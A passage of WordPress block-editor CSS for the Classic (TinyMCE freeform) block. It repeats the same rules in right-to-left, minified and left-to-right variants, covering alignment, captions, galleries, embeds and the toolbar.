  font-family:Menlo,Consolas,monaco,monospace;
  font-size:14px;
  padding:2px;
}
.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{
  background:#ddd;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{
  display:block;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);
  background-position:50%;
  background-repeat:no-repeat;
  background-size:1900px 20px;
  cursor:default;
  display:block;
  height:20px;
  margin:15px auto;
  outline:0;
  width:96%;
}
.wp-block-freeform.block-library-rich-text__tinymce img::selection{
  background-color:initial;
}
.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{
  -ms-user-select:element;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{
  margin:0;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{
  display:block;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{
  -webkit-user-drag:none;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{
  margin:0;
  padding-top:.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview{
  border:1px solid #0000;
  clear:both;
  margin-bottom:16px;
  position:relative;
  width:99.99%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{
  background:#0000;
  display:block;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{
  display:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{
  border:1px dashed #ddd;
  padding:10px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{
  border:1px solid #ddd;
  margin:0;
  padding:1em 0;
  word-wrap:break-word;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{
  margin:0;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{
  border-color:#0000;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{
  display:block;
  font-size:32px;
  height:32px;
  margin:0 auto;
  width:32px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery a{
  cursor:default;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery{
  line-height:1;
  margin:auto -6px;
  overflow-x:hidden;
  padding:6px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{
  box-sizing:border-box;
  float:right;
  margin:0;
  padding:6px;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{
  margin:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{
  font-size:13px;
  margin:4px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{
  width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{
  width:50%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{
  width:33.3333333333%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{
  width:25%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{
  width:20%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{
  width:16.6666666667%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{
  width:14.2857142857%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{
  width:12.5%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{
  width:11.1111111111%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img{
  border:none;
  height:auto;
  max-width:100%;
  padding:0;
}

div[data-type="core/freeform"]:before{
  border:1px solid #ddd;
  outline:1px solid #0000;
  transition:border-color .1s linear,box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  div[data-type="core/freeform"]:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
div[data-type="core/freeform"].is-selected:before{
  border-color:#1e1e1e;
}
div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{
  margin-top:0;
  padding-top:0;
}
div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{
  clear:both;
  content:"";
  display:table;
}

.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{
  color:#1e1e1e;
}
.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{
  margin-left:0;
  margin-right:8px;
}
.mce-toolbar-grp .mce-btn i{
  font-style:normal;
}

.block-library-classic__toolbar{
  border:1px solid #ddd;
  border-bottom:none;
  border-radius:2px;
  display:none;
  margin:0 0 8px;
  padding:0;
  position:sticky;
  top:0;
  width:auto;
  z-index:31;
}
div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{
  border-color:#1e1e1e;
  display:block;
}
.block-library-classic__toolbar .mce-tinymce{
  box-shadow:none;
}
@media (min-width:600px){
  .block-library-classic__toolbar{
    padding:0;
  }
}
.block-library-classic__toolbar:empty{
  background:#f5f5f5;
  border-bottom:1px solid #e2e4e7;
  display:block;
}
.block-library-classic__toolbar:empty:before{
  color:#555d66;
  content:attr(data-placeholder);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:37px;
  padding:14px;
}
.block-library-classic__toolbar div.mce-toolbar-grp{
  border-bottom:1px solid #1e1e1e;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{
  height:auto !important;
  width:100% !important;
}
.block-library-classic__toolbar .mce-container-body.mce-abs-layout{
  overflow:visible;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{
  position:static;
}
.block-library-classic__toolbar .mce-toolbar-grp>div{
  padding:1px 3px;
}
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){
  display:none;
}
.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{
  display:block;
}

.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
  height:50vh !important;
}
@media (min-width:960px){
  .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){
    height:9999rem;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{
    height:100%;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{
    height:calc(100% - 52px);
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{
    display:flex;
    flex-direction:column;
    height:100%;
    min-width:50vw;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{
    display:flex;
    flex-direction:column;
    flex-grow:1;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
    flex-grow:1;
    height:10px !important;
  }
}
.block-editor-freeform-modal__actions{
  margin-top:16px;
}.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{margin-right:0;padding-right:2.5em}.wp-block-freeform.block-library-rich-text__tinymce blockquote{border-right:4px solid #000;box-shadow:inset 0 0 0 0 #ddd;margin:0;padding-right:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;white-space:pre-wrap}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{background:#e5f5fa;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;margin:0 -2px;padding:0 2px}.wp-block-freeform.block-library-rich-text__tinymce code{background:#f0f0f0;border-radius:2px;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:14px;padding:2px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-position:50%;background-repeat:no-repeat;background-size:1900px 20px;cursor:default;display:block;height:20px;margin:15px auto;outline:0;width:96%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:initial}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{margin:0;padding-top:.5em}.wp-block-freeform.block-library-rich-text__tinymce .wpview{border:1px solid #0000;clear:both;margin-bottom:16px;position:relative;width:99.99%}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{background:#0000;display:block;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;margin:0;padding:1em 0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:#0000}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;font-size:32px;height:32px;margin:0 auto;width:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{clear:both;content:"";display:table}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{line-height:1;margin:auto -6px;overflow-x:hidden;padding:6px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{box-sizing:border-box;float:right;margin:0;padding:6px;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{border:none;height:auto;max-width:100%;padding:0}div[data-type="core/freeform"]:before{border:1px solid #ddd;outline:1px solid #0000;transition:border-color .1s linear,box-shadow .1s linear}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-delay:0s;transition-duration:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{clear:both;content:"";display:table}.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:0;margin-right:8px}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{border:1px solid #ddd;border-bottom:none;border-radius:2px;display:none;margin:0 0 8px;padding:0;position:sticky;top:0;width:auto;z-index:31}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{border-color:#1e1e1e;display:block}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{background:#f5f5f5;border-bottom:1px solid #e2e4e7;display:block}.block-library-classic__toolbar:empty:before{color:#555d66;content:attr(data-placeholder);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px}.wp-block-freeform.block-library-rich-text__tinymce{
  height:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{
  line-height:1.8;
}
.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{
  margin-left:0;
  padding-left:2.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce blockquote{
  border-left:4px solid #000;
  box-shadow:inset 0 0 0 0 #ddd;
  margin:0;
  padding-left:1em;
}
.wp-block-freeform.block-library-rich-text__tinymce pre{
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  white-space:pre-wrap;
}
.wp-block-freeform.block-library-rich-text__tinymce>:first-child{
  margin-top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce>:last-child{
  margin-bottom:0;
}
.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce a{
  color:var(--wp-admin-theme-color);
}
.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{
  background:#e5f5fa;
  border-radius:2px;
  box-shadow:0 0 0 1px #e5f5fa;
  margin:0 -2px;
  padding:0 2px;
}
.wp-block-freeform.block-library-rich-text__tinymce code{
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:14px;
  padding:2px;
}
.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{
  background:#ddd;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{
  display:block;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);
  background-position:50%;
  background-repeat:no-repeat;
  background-size:1900px 20px;
  cursor:default;
  display:block;
  height:20px;
  margin:15px auto;
  outline:0;
  width:96%;
}
.wp-block-freeform.block-library-rich-text__tinymce img::selection{
  background-color:initial;
}
.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{
  -ms-user-select:element;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{
  margin:0;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{
  display:block;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{
  -webkit-user-drag:none;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{
  margin:0;
  padding-top:.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview{
  border:1px solid #0000;
  clear:both;
  margin-bottom:16px;
  position:relative;
  width:99.99%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{
  background:#0000;
  display:block;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{
  display:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{
  border:1px dashed #ddd;
  padding:10px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{
  border:1px solid #ddd;
  margin:0;
  padding:1em 0;
  word-wrap:break-word;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{
  margin:0;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{
  border-color:#0000;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{
  display:block;
  font-size:32px;
  height:32px;
  margin:0 auto;
  width:32px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery a{
  cursor:default;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery{
  line-height:1;
  margin:auto -6px;
  overflow-x:hidden;
  padding:6px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{
  box-sizing:border-box;
  float:left;
  margin:0;
  padding:6px;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{
  margin:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{
  font-size:13px;
  margin:4px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{
  width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{
  width:50%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{
  width:33.3333333333%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{
  width:25%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{
  width:20%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{
  width:16.6666666667%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{
  width:14.2857142857%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{
  width:12.5%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{
  width:11.1111111111%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img{
  border:none;
  height:auto;
  max-width:100%;
  padding:0;
}

div[data-type="core/freeform"]:before{
  border:1px solid #ddd;
  outline:1px solid #0000;
  transition:border-color .1s linear,box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  div[data-type="core/freeform"]:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
div[data-type="core/freeform"].is-selected:before{
  border-color:#1e1e1e;
}
div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{
  margin-top:0;
  padding-top:0;
}
div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{
  clear:both;
  content:"";
  display:table;
}

.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{
  color:#1e1e1e;
}
.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{
  margin-left:8px;
  margin-right:0;
}
.mce-toolbar-grp .mce-btn i{
  font-style:normal;
}

.block-library-classic__toolbar{
  border:1px solid #ddd;
  border-bottom:none;
  border-radius:2px;
  display:none;
  margin:0 0 8px;
  padding:0;
  position:sticky;
  top:0;
  width:auto;
  z-index:31;
}
div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{
  border-color:#1e1e1e;
  display:block;
}
.block-library-classic__toolbar .mce-tinymce{
  box-shadow:none;
}
@media (min-width:600px){
  .block-library-classic__toolbar{
    padding:0;
  }
}
.block-library-classic__toolbar:empty{
  background:#f5f5f5;
  border-bottom:1px solid #e2e4e7;
  display:block;
}
.block-library-classic__toolbar:empty:before{
  color:#555d66;
  content:attr(data-placeholder);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:37px;
  padding:14px;
}
.block-library-classic__toolbar div.mce-toolbar-grp{
  border-bottom:1px solid #1e1e1e;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{
  height:auto !important;
  width:100% !important;
}
.block-library-classic__toolbar .mce-container-body.mce-abs-layout{
  overflow:visible;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{
  position:static;
}
.block-library-classic__toolbar .mce-toolbar-grp>div{
  padding:1px 3px;
}
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){
  display:none;
}
